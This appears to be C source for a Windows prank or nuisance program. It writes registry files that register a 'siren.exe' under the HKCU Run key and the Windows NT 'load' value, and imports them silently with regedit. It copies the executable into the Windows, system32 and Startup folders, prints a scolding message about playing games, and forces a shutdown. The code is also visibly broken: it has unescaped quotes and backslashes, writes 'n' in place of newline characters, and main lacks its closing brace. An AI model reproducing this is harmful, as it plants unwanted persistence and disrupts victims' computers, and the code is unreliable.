#include<stdio.h>
#include<stdlib.h>

int function(char * p1 , char * p2 , char * p3 , char * p4)
{

int i ;
FILE  * fp ;

if ( (fp = fopen(p4 , "w")) == NULL){

printf ("文件不能打開！") ;
return 0 ;

}

for (i=0; p1[i] != '\0'; i++)
fputc (p1[i] , fp) ;

fputc ('n' , fp) ;
fputc ('n' , fp) ;

for (i=0; p2[i] != '\0'; i++)
fputc (p2[i] , fp) ;
fputc ('n' , fp) ;

for (i=0; p3[i] != '\0'; i++)
fputc (p3[i] , fp) ;

fputc ('\n' , fp) ;
fputc ('\n' , fp) ;

fclose (fp) ;

return 0 ;


}

int main ( void )
{

int i ;
char rigi1[] = "Windows Registry Editor Version 5.00" ;
char rigi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" ;
char rigi3[] = ""siren.exe"="C:\\windows\\siren.exe"" ;
function(rigi1 , rigi2 , rigi3 , "Ping.reg") ;

char rjgi1[] = "Windows Registry Editor Version 5.00" ;
char rjgi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]" ;
char rjgi3[] = ""load"="C:\\windows\\system32\\siren.exe"" ;
function(rjgi1 , rjgi2 , rjgi3 , "netstart.reg") ;

system("regedit /s Ping.reg") ;
system("regedit /s netstart.reg") ;
system("copy  Ping.reg C:\windows\Ping.reg") ;
system("copy  netstart.reg C:\windows\system32\netstart.reg") ;
system("del  Ping.reg") ;
system("del  netstart.reg") ;
system("copy siren.exe C:\windows\siren.exe") ;
system("copy siren.exe C:\windows\system32\siren.exe") ;
system("copy siren.exe C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\siren.exe") ;

printf ("要學習，不要老是耍游戲，去自習了哈！");
system("shutdown") ;
return 0 ;